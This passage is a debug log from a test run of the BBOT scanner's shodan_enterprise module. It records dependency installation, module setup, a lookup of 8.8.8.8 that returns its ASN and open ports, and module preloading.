'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:52:45,801 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:52:45,802 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:52:45,807 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:52:45,808 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:52:45,808 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:52:45,809 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:52:45,809 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:52:45,809 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:52:45,814 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qlzpk34au7f7g73s1t4v +2026-03-01 16:52:46,572 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:52:46,573 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:52:46,574 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:52:46,575 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:52:46,694 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:52:46,694 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:52:46,694 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:52:46,696 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:52:46,696 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:52:46,696 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:52:46,697 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:52:46,698 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:52:46,698 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:52:46,698 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:52:46,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:52:46,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:52:46,700 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:52:46,700 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:52:46,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:52:46,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:52:46,701 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:52:46,701 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:52:46,702 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:52:46,703 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:52:46,705 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:52:46,705 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:52:46,705 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:52:46,705 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:52:46,706 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:52:46,843 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ugst9wor5x +2026-03-01 16:52:46,843 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:52:46,952 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:52:46,953 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:52:46,953 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:52:46,954 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:52:47,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-03-01 16:52:47,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:52:47,055 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-01 16:52:47,056 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,057 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:52:47,057 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:52:47,058 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:52:47,058 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:52:47,061 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:52:47,062 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:52:47,063 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:52:47,064 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:52:47,065 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:52:47,066 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:52:47,069 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,070 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:52:47,070 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,071 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,071 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:52:47,072 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:52:47,072 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:52:47,073 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:52:47,073 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,180 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:52:47,181 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:52:47,182 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:52:47,182 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:52:47,183 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:52:47,184 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:52:47,184 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:52:47,185 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:52:47,185 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,186 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,186 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:52:47,186 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:52:47,187 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:52:47,187 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:52:47,188 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:52:47,188 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,190 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,190 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:52:47,191 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:52:47,192 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:52:47,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,195 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:52:47,196 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,196 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,197 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,197 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,198 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,198 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,198 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,199 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:52:47,199 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,200 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,200 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,201 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,201 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:52:47,201 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:52:47,203 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:52:47,285 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:52:47,286 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:52:47,287 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:52:47,288 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,289 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:52:47,289 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,290 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:52:47,290 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:52:47,291 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:52:47,291 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:52:47,291 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:52:47,292 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:52:47,292 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:52:47,293 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:52:47,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:52:47,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:52:47,394 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:52:47,395 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:52:47,414 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:52:47,415 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:52:47,415 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:52:47,423 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:52:47,424 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:52:47,425 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:52:47,426 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:52:47,427 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:52:47,427 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:52:47,546 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ugst9wor5x completed in 0 seconds with status FINISHED +2026-03-01 16:52:47,547 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:52:47,548 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:52:47,549 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 16:52:47,550 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 16:53:22,682 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:53:22,691 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:53:22,692 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:53:22,693 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:53:22,694 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:53:22,694 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:53:22,695 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:53:22,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:53:22,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:53:22,697 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:53:22,697 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:53:22,698 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:53:22,702 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:53:22,703 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:53:22,704 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:53:22,704 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:53:22,706 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:53:22,707 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:53:22,707 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:53:22,708 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:53:22,709 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:53:22,709 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:53:22,710 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:53:22,711 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:53:22,711 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:53:22,712 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:53:22,713 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache 